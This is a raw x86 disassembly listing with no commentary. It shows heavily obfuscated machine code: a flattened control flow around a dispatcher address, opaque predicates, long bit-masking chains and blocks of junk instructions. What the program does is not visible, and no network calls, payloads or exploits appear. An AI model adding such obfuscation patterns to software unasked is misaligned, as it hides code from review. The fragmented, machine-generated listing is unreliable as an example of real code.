or edx, esi
mov esi, ecx
and esi, 0x39a9dc5f
or eax, esi
mov esi, edx
xor esi, 0x86022320
xor edx, 0x595444cd
or ecx, edx
and edx, 0x39a9dc5f
and esi, 0xc65623a0
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xbbad20c3
mov eax, ecx
xor eax, 0xdb0d4bce
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x24f2b431
and ecx, 0xdb0d4bce
or ecx, eax
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, dl
and cl, ch
xor ah, al
or al, dl
mov ch, cl
mov dh, cl
xor al, 1
xor ch, 1
or al, ah
mov dl, ch
mov ah, al
and dl, cl
xor ah, 1
xor dl, 1
xor dh, dl
or dl, cl
xor dl, 1
or dl, dh
mov dh, dl
and dl, al
or al, cl
xor dh, 1
xor al, 1
and dh, ah
xor ah, ch
or al, ah
or dl, dh
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x160ee4d6
cmovne eax, esi
test dl, 1
mov edx, 0x160ee4d6
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
inc eax
mov eax, 0xb9
rol esi, 0xe1
neg esi
imul edx
inc edi
sbb eax, 0xc7
and esi, 0xfa
neg edx
bswap edx
rol edx, 0x9c
mov edx, 0x20
sbb edx, 0x15
neg ebx
not ebx
not eax
inc ebx
imul edx
mov esi, 0xaa
and ebx, 0xad
and edx, 0xec
bswap edx
and edx, 0x3a
dec esi
bswap edi
or edi, 0xa6
imul edx
rcl eax, 0x17
inc ebx
rcr esi, 0x2a
and ebx, 0xfa
add esi, 0x9f
imul eax
inc edi
neg edx
rcl edi, 0x16
inc esi
rcr edx, 0xe4
or edi, 0x3e
add edx, 0xd8
inc edx
ror esi, 0xf3
bswap edi
neg edx
rol esi, 0xc7
or edx, 0x22
sbb edx, 0x95
or eax, 0xc9
rcl edi, 0x14
dec ebx
or edx, 0x58
bswap esi
rcl esi, 0xd3
rol ebx, 0xcf
imul edx
and ebx, 0xf3
bswap ebx
mov ebx, 0x5a
inc eax
imul edi
inc edx
rol eax, 0x7c
sbb ebx, 0xa2
rcl edi, 0xcb
rcr ebx, 0x33
neg edx
ror edx, 0x12
bswap edx
neg ebx
rol eax, 0x8d
or edx, 0xa7
neg edx
imul edi
rcl esi, 0xfe
imul edi
sbb edx, 0x9c
ror esi, 0x33
bswap edi
bswap ebx
add ebx, 0x7a
ror esi, 0x28
neg eax
not edx
add ebx, 0x1b
rcl ebx, 0xa3
imul edx
or edx, 0xa9
sub edx, 0xd4
mov edx, 0xa5
or esi, 0xd7
sbb edx, 0xef
neg edx
not edi
add edi, 0xa7
neg edx
add eax, 0x18
ror edx, 0x8d
not esi
rcr edx, 0xc5
dec ebx
dec ebx
dec edi
imul edx
not esi
inc eax
neg ebx
mov edx, 0x2a
inc edi
rcr esi, 0xb5
rol esi, 0xd4
ror edx, 0x2c
bswap edi
not eax
neg edi
inc ebx
imul eax
imul edi
neg edx
not eax
bswap esi
bswap eax
not edx
or edx, 0xdb
dec esi
not edx
dec edi
or ebx, 0x4f
and edi, 0x29
neg esi
add edx, 0x9e
rcl edx, 0xe1
imul eax
and ebx, 0x22
dec esi
sub edx, 0xb1
mov edi, 0xd7
and edi, 0x55
rcl eax, 0x5e
dec edi
rcl eax, 0x20
rcl ebx, 0xf7
sub ebx, 0x60
inc eax
imul eax
inc esi
rcl eax, 0xd4
or ebx, 0xb3
rol eax, 0x8a
sub esi, 0xe7
imul edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x48]
mov eax, 0xa96a178c
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xa
mov eax, 0x3401e0c9
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x214d84d1
and eax, 0xdeb27b2e
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xcca67505
mov esi, edx
and esi, 0x33598afa
or ecx, esi
mov esi, eax
xor esi, 0xcca27104
xor eax, 0x214980d0
and eax, 0x33598afa
and esi, 0xcca67505
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x3e264dfd
setne dl
sete al
cmp dword [0x493580], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
xor dl, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x65e4ab14
cmovne ecx, esi
test al, al
mov eax, 0x65e4ab14
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [0x493584]
add eax, 4
mov dword [ebp - 0x17c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc6617c98
mov esi, edx
and esi, 0x399e8366
and edx, 0x12f2c1e2
or ecx, esi
mov esi, ecx
xor esi, 0x2012408
xor ecx, 0x399e8367
mov edi, ecx
and edi, 0xc4ec58b1
and esi, 0x3b13a74e
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xed0d3e1d
mov ebx, edi
not ebx
and edi, 0x3b13a74e
or eax, edx
or ecx, ebx
and ebx, 0xc4ec58b1
xor eax, 0xed0d3e1d
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x9b9372df
or ecx, edi
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe1b4aa7
and ecx, 0xf1e4b558
or eax, ecx
xor eax, 0xe1b4aa7
sete dl
setne cl
cmp dword [0x493580], 0xa
setl al
mov ah, al
xor ah, cl
not ah
and ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, al
xor al, dl
or ah, dl
mov edx, ecx
xor ah, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x1b029966
cmovne eax, esi
test dl, dl
mov edx, 0x1b029966
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x858e1f39
mov eax, edx
and eax, 0x808c1b19
and ecx, edx
not edx
and edx, 0x5020420
mov edi, ecx
not edi
and ecx, 0xb6661886
or eax, edx
mov edx, eax
xor edx, 0x80041800
xor eax, 0x7f73e4e6
mov esi, eax
or eax, edi
and edi, 0x4999e779
and esi, 0x4999e779
and edx, 0x84061800
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x858e1f39
and ecx, 0x7a71e0c6
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x437b8ec8
and ecx, 0xbc847137
or ecx, eax
mov eax, ecx
xor eax, 0x40488ac0
xor ecx, 0xb8001112
and eax, 0x44cceae5
and ecx, 0xbb33151a
or ecx, eax
cmp ecx, 0xbb33151a
setne dl
cmp dword [0x493580], 0xa
mov ah, dl
setge cl
inc ah
mov al, cl
mov ch, ah
and ah, cl
or cl, dl
inc al
xor cl, 1
xor ch, al
mov dh, al
and al, dl
or cl, ch
and ch, dl
or al, ah
or dh, dl
xor ch, 1
xor al, 1
mov bl, ch
or ch, dh
mov dl, al
or al, cl
xor bl, dh
xor ch, 1
xor dl, cl
xor al, 1
or ch, bl
or al, dl
mov edx, 0xe733ff64
xor ch, 1
mov cl, ch
or ch, al
xor cl, al
mov al, ch
xor al, cl
test al, 1
mov eax, 0xd411acc9
cmovne eax, edx
test ch, 1
mov edx, 0xd411acc9
cmovne edx, eax
jmp 0x40f688
mov eax, dword [ebp - 0x1bc]
mov edx, 0x713a5310
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0x1b8]
cmp ecx, eax
mov eax, 0xe570a66c
cmovl eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xf8], eax
mov eax, 0x9cd1b511
jmp 0x4021f0
mov eax, dword [ebp - 0x54]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x8b9b4be5
not edx
mov esi, edx
and ecx, eax
and esi, 0x8b9b4be5
and edx, 0x1b342ba4
and eax, 0xe4cbd45b
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x8b9b4be4
xor eax, 0xe4cbd45b
and esi, 0x7464b41b
or ecx, esi
mov esi, 0xa8ff4f9f
not ecx
or eax, ecx
cmp eax, 0xffffffff
sete cl
cmp dword [0x493580], 0xa
setl al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
xor dl, 1
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
mov edx, 0xa1192a4d
cmovne edx, esi
test al, al
mov eax, 0xa1192a4d
jmp 0x41212f
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, 0x66720cb6
jmp 0x4021f0
mov eax, 0xc8ac6d1
jmp 0x4021f0
mov eax, dword [ebp - 0x90]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x100d8e
and eax, 0xa0459000
mov edx, ecx
or edx, 0x55a04271
and esi, 0x55b04fff
and ecx, 0xa0a2000
and edx, 0x55b04fff
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x5faa6271
and ecx, 0xa0559d8e
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xb6f8b828
and eax, 0x5bdebb1a
mov ecx, esi
and esi, 0x490747d7
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xa42144e5
or eax, esi
mov esi, edx
xor esi, 0x12d8b808
xor edx, 0x490747d6
or ecx, edx
and edx, 0xa42144e5
and esi, 0x5bdebb1a
or esi, edx
not ecx
xor esi, eax
or ecx, esi
andn eax, ecx, ecx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x894219a4
mov edi, eax
not edi
and edx, 0x76bde65b
and eax, 0x76bde65b
or ecx, edi
and edi, 0x894219a4
or edx, esi
or eax, edi
not ecx
xor eax, edx
or ecx, eax
setne al
sete dl
cmp dword [0x493580], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov ch, al
or cl, ah
mov edx, ecx
and ch, cl
xor dl, 1
mov ah, dl
or dl, al
xor al, 1
and ah, al
xor al, cl
xor dl, 1
or dl, al
or ch, ah
mov eax, 0x68848420
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x579f6670
cmovne eax, edx
test ch, ch
not cl
cmove eax, edx
test cl, 1
mov edx, 0x68848420
cmovne eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0xe0b7a49f
jmp 0x4021f0
mov eax, 0x1ef15329
jmp 0x4021f0
mov eax, 0xa4d6a041
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0x83664a45
mov esi, ecx
not esi
and edx, 0x7c99b5ba
and ecx, 0x7c99b5ba
or eax, esi
and esi, 0x83664a45
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0x340af5ff
mov ecx, eax
and ecx, 0xab0209a6
and esi, eax
not eax
and eax, 0x54fdf659
mov ebx, esi
not ebx
and esi, 0x681bbe9
or ecx, eax
mov eax, ecx
xor eax, 0x54fdf659
xor ecx, 0x1a0
mov edx, eax
or edx, 0xcbf50a00
and ecx, 0x400b1e9
and eax, 0xfffffffe
mov edi, edx
or edx, ebx
and edi, 0xf97e4416
and ebx, 0xf97e4416
or ecx, edi
or esi, ebx
not edx
xor esi, ecx
or edx, esi
mov esi, 0xcbaa0d9a
mov ecx, edx
not ecx
and edx, 0x340af5fe
and ecx, 0xcbf50a01
or edx, ecx
or eax, edx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xbee922ac
and eax, 0x4116dd53
or edx, eax
xor edx, 0xbee922ac
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xdaaceef3
and eax, 0x2553110c
or ecx, eax
mov eax, ecx
xor eax, 0xc8a086d3
xor ecx, 0x1130000
and ecx, 0x131f6820
and eax, 0xece097df
or eax, ecx
xor eax, 0xece097df
setne dl
sete al
cmp dword [0x493580], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
and al, ah
or dh, ch
mov ah, dl
xor al, 1
xor cl, dh
xor ah, al
or al, dl
and cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x39a54ba0
cmovne ecx, esi
test al, 1
mov eax, 0x39a54ba0
jmp 0x412f61
mov eax, dword [ebp - 0x50]
mov eax, dword [0x493584]
mov esi, 0x6ad8df24
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
or ecx, 1
not eax
mov edx, eax
and ecx, 0x90955811
and edx, 0x6f6aa7ee
or edx, ecx
mov ecx, eax
or ecx, 0x90955810
and ecx, 0x90955811
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xbdcf6602
and edx, 0x423099fd
or ecx, edx
xor ecx, 0xbdcf6602
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete al
cmp dword [0x493580], 0xa
mov ch, dl
setge cl
setl ah
inc ch
and ah, dl
and al, cl
xor ch, cl
or al, ah
and ch, cl
xor cl, dl
mov ah, al
mov edx, eax
or cl, ch
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0xf31ec134
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, dl
mov edx, 0xf31ec134
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x28]
mov eax, 0x5bbd43f9
jmp 0x4021f0
mov eax, dword [ebp - 0x180]
cmp eax, dword [ebp - 0x184]
mov eax, 0x865276f9
setl byte [ebp - 0x9f]
jmp 0x4021f0
mov eax, 0xc2eb9014
jmp 0x4021f0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov esi, ecx
not esi
and ecx, 0x90d72b62
mov edi, esi
or edi, 0x9e120a5c
mov edx, esi
and edx, 0x9e120a5c
and esi, 0x6f28d49d
mov eax, edi
not eax
and edi, 0x21edf5a3
or ecx, esi
or eax, edx
mov esi, ecx
xor esi, 0x80572062
xor ecx, 0x6f28d49d
and eax, 0xde120a5c
and esi, 0x8f77e4e3
or eax, edi
mov edx, eax
not edx
mov edi, eax
or eax, ecx
and ecx, 0x70881b1c
and edi, 0x70881b1c
and edx, 0x8f77e4e3
or esi, ecx
not eax
or edx, edi
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
and eax, 0x912e9e8b
and ecx, 0x6ed16174
or eax, ecx
mov ecx, dword [0x493584]
cmp eax, 0x912e9e8b
setne byte [ebp - 0xa4]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x39d52768
mov edi, edx
mov esi, ecx
and esi, 0x21dd639f
and edi, 0xc6229800
and edx, 0xe1d6d306
or edi, esi
mov esi, eax
xor esi, 0xc62ad897
and esi, eax
and eax, 0x1e292cf9
mov ebx, esi
not ebx
and esi, 0xde229c60
or eax, edx
or ecx, ebx
and ebx, 0x21dd639f
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xfd04f0f9
and esi, 0x2fb0f06
or ecx, esi
mov esi, ecx
xor esi, 0x2206082f
xor ecx, 0xc4d1d790
mov edx, ecx
and edx, 0x9d396140
and esi, 0x62c69ebf
or esi, edx
mov edx, eax
xor edx, 0x2000cb9
xor eax, 0x81104100
and eax, 0x9d396140
and edx, 0x62c69ebf
or edx, eax
xor edx, esi
mov esi, 0x41d1c3d2
xor ecx, edx
test ecx, edx
sete dl
setne ah
cmp dword [0x493580], 0xa
setge al
setl ch
mov cl, al
xor dl, al
xor cl, ah
or ah, ch
and al, dl
xor ah, 1
and cl, ch
xor al, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x593e470
cmovne ecx, esi
test al, 1
mov esi, 0x593e470
jmp 0x41264d
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, 0x465eb42f
jmp 0x4021f0
mov ecx, dword [0x493584]
mov esi, 0x5b7a1189
mov edi, 0x5b7a1189
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x344e880
and ecx, 0x2082114d
or edx, ecx
mov ecx, eax
xor ecx, 0x23c6f9cd
xor edx, 0x344e880
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd1584d13
and edx, 0x2ea7b2ec
or ecx, edx
mov edx, ecx
xor edx, 0xf29eb4df
xor ecx, 0xd614b20
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x493580], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ch, cl
mov edx, eax
not ch
and al, cl
xor dl, 1
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
mov eax, 0xf068f018
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmovne eax, esi
jmp 0x4021f0
mov eax, 0xf9f9841a
jmp 0x4021f0
mov eax, 0x3faf496e
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0xc107806
not edx
mov esi, edx
or esi, 0xd3a20009
and ecx, 0xdfb2780f
and edx, 0x408370
or edx, ecx
mov ecx, eax
and esi, 0xdfb2780f
and ecx, 0x200d0480
or ecx, esi
mov esi, 0x45b514e7
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xd3e28378
and edx, 0x2c1d7c87
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
xor cl, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, 1
mov eax, 0xb0c040e3
cmovne eax, esi
test cl, 1
mov ecx, 0xb0c040e3
jmp 0x412fe6
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xac]
mov eax, 0x96fb8205
jmp 0x4021f0
mov eax, dword [ebp - 0x54]
mov eax, 0xdd433204
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x4db06763
and eax, ecx
not ecx
and ecx, 0x4db06763
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd6b288b2
and ecx, 0x294d774d
or eax, ecx
mov edx, eax
xor edx, 0x11026a01
xor eax, 0x64fd102e
mov ecx, eax
and ecx, 0x8ec095f0
and edx, 0x713f6a0f
or eax, 0x9da253fa
or edx, ecx
mov esi, eax
not esi
and eax, 0x625dac04
mov ecx, edx
xor ecx, 0x713f6a0f
xor edx, 0xe401180
mov edi, ecx
or ecx, 1
and edi, 0x9da253fa
and edx, 0xe6d1188
or esi, edi
and ecx, 0xf192ee77
and esi, 0x9da253fb
or ecx, edx
or esi, eax
xor ecx, 0xf192ee77
or ecx, esi
mov esi, 0x865df562
mov eax, ecx
xor eax, 0x86e69289
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x79196d76
and ecx, 0x86e69289
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xaed02120
and eax, 0x512fdedf
or eax, ecx
mov ecx, eax
xor ecx, 0x82c02000
xor eax, 0x15e1e
and eax, 0x2c115f3e
and ecx, 0xd3eea0c1
or ecx, eax
cmp ecx, 0xd3eea0c1
sete cl
cmp dword [0x493580], 0xa
setge dl
xor cl, dl
and dl, cl
mov eax, edx
xor al, 1
or al, cl
xor cl, 1
xor dl, cl
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x93c5e320
cmovne ecx, esi
test al, 1
mov eax, 0x93c5e320
jmp 0x412f61
mov eax, 0x5b11bf37
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xeb3f8798
and ecx, 0x14c07867
or ecx, edx
mov edx, ecx
mov eax, ecx
xor ecx, 0xc04862
xor edx, 0xeb3f8798
xor eax, 0xeb3f8799
and eax, edx
and ecx, 0x61cc4862
and edx, 0x9e33b79d
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x1a6e2286
mov esi, ecx
and esi, 0xe591dd79
or eax, esi
mov esi, edx
xor esi, 0x1a222284
xor edx, 0x61cc4863
or ecx, edx
and edx, 0xe591dd79
and esi, 0x1a6e2286
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x5b798f47
and ecx, 0xa48670b8
or eax, ecx
mov ecx, eax
xor ecx, 0x8110b42
xor eax, 0xa48670b8
mov esi, eax
and esi, 0x536a9405
and ecx, 0xac956bfa
or ecx, esi
mov esi, edx
not esi
and edx, 0xac956bfa
or eax, esi
and esi, 0x536a9405
or edx, esi
not eax
mov esi, 0xc770ade7
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbe787d8c
and ecx, 0x41878273
or eax, ecx
mov ecx, eax
xor ecx, 0x26406080
xor eax, 0x850240
and eax, 0x98bd1f4c
and ecx, 0x6742e0b3
or ecx, eax
mov eax, ecx
xor eax, 0x391a08
xor ecx, 0x3022091
and ecx, 0x9b8625d5
and eax, 0x6479da2a
or eax, ecx
xor eax, 0x6479da2a
sete cl
setne dh
cmp dword [0x493580], 0xa
setge ah
setl ch
mov al, ah
mov dl, ah
or al, dh
or dh, ch
xor ch, cl
or dl, cl
xor cl, ah
xor al, 1
mov ah, cl
xor dh, 1
xor dl, 1
or al, ch
or dl, dh
or cl, al
xor ah, al
not cl
or cl, ah
mov eax, 0x29a22c22
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
mov edx, 0x29a22c22
cmove eax, esi
jmp 0x41212f
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x76678a
not eax
mov esi, eax
and edx, ecx
and esi, 0x76678a
and ecx, 0x19418986
and eax, 0xe6be7679
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xb783a379
and esi, 0x487c5c86
or edx, esi
mov esi, edx
xor esi, 0xa6b44470
xor edx, 0x480a3b0d
mov edi, edx
and edi, 0x19418986
and esi, 0xe6be7679
or esi, edi
xor eax, esi
mov esi, 0x71f8753a
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x493580], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
or dl, ah
and cl, al
xor al, ah
xor dl, 1
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x71f8753a
mov al, ah
xor al, dl
test dl, 1
mov edx, 0xe65e1f72
cmovne ecx, edx
test ah, 1
cmove ecx, esi
jmp 0x410452
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
and ecx, 0x5285451a
and edx, eax
not eax
mov esi, eax
and esi, 0xad7abae4
or ecx, esi
mov esi, 0x6b0c585c
xor ecx, 0x5285451a
or edx, ecx
not edx
or edx, eax
xor edx, 0xffffffff
setne cl
sete ch
cmp dword [0x493580], 0xa
setl al
setge ah
mov edx, eax
and cl, al
and ah, ch
or al, ch
or ah, cl
xor al, 1
xor dl, ch
or al, ah
mov ecx, edx
mov ah, al
xor cl, 1
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
mov edx, 0x8ef9dbd8
cmovne edx, esi
test al, al
mov esi, 0x8ef9dbd8
mov eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x34141612
mov ecx, eax
and ecx, 0x41424001
and eax, 0x4ec139de
or esi, ecx
mov ecx, edx
and ecx, 0x8aa9a9ec
xor esi, 0x34141612
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x75565612
and esi, 0x8aa9a9ed
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb46f2809
and esi, 0x4b90d7f6
or ecx, esi
mov esi, ecx
xor esi, 0x4412808
xor ecx, 0x4b90d7f6
mov edi, ecx
or ecx, edx
and edx, 0xb13ec621
and edi, 0xb13ec621
and esi, 0x4ec139de
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0x4896213b
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x954da043
and eax, 0x6ab25fbc
or ecx, eax
cmp ecx, 0x954da043
setne al
cmp dword [0x493580], 0xa
setl cl
setge dl
xor cl, al
inc al
xor al, dl
and al, dl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x465eb42f
cmovne ecx, esi
test al, 1
mov eax, 0x465eb42f
jmp 0x412f61
mov eax, 0x1ef15329
jmp 0x4021f0
cmp byte [ebp - 0x9b], 0
mov eax, 0x9c6e50c4
mov ecx, 0x1dfcebf7
cmovne eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, 0x2d5aefd8
jmp 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xf86bcf27
and edx, 0x79430d8
or eax, edx
mov edx, eax
xor edx, 0x58208f20
xor eax, 0x79430d8
mov esi, eax
and esi, 0xa5cb5087
and edx, 0x5a34af78
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5a34af78
or eax, esi
and esi, 0xa5cb5087
or ecx, esi
not eax
mov esi, dword [ebp - 0xf0]
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x52027fb8
andn edx, eax, ecx
mov ecx, eax
and ecx, 0xadfd8047
and eax, 0xfffffffe
or ecx, edx
mov dword [ebp - 0x140], esi
mov edx, ecx
not edx
and ecx, 0x52027fb9
and edx, 0xadfd8046
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd03bda85
and ecx, 0x2fc4257a
or eax, ecx
mov ecx, eax
xor ecx, 0x9003c804
xor eax, 0x2784051a
and eax, 0x67bc179b
and ecx, 0x9843e864
or ecx, eax
mov eax, ecx
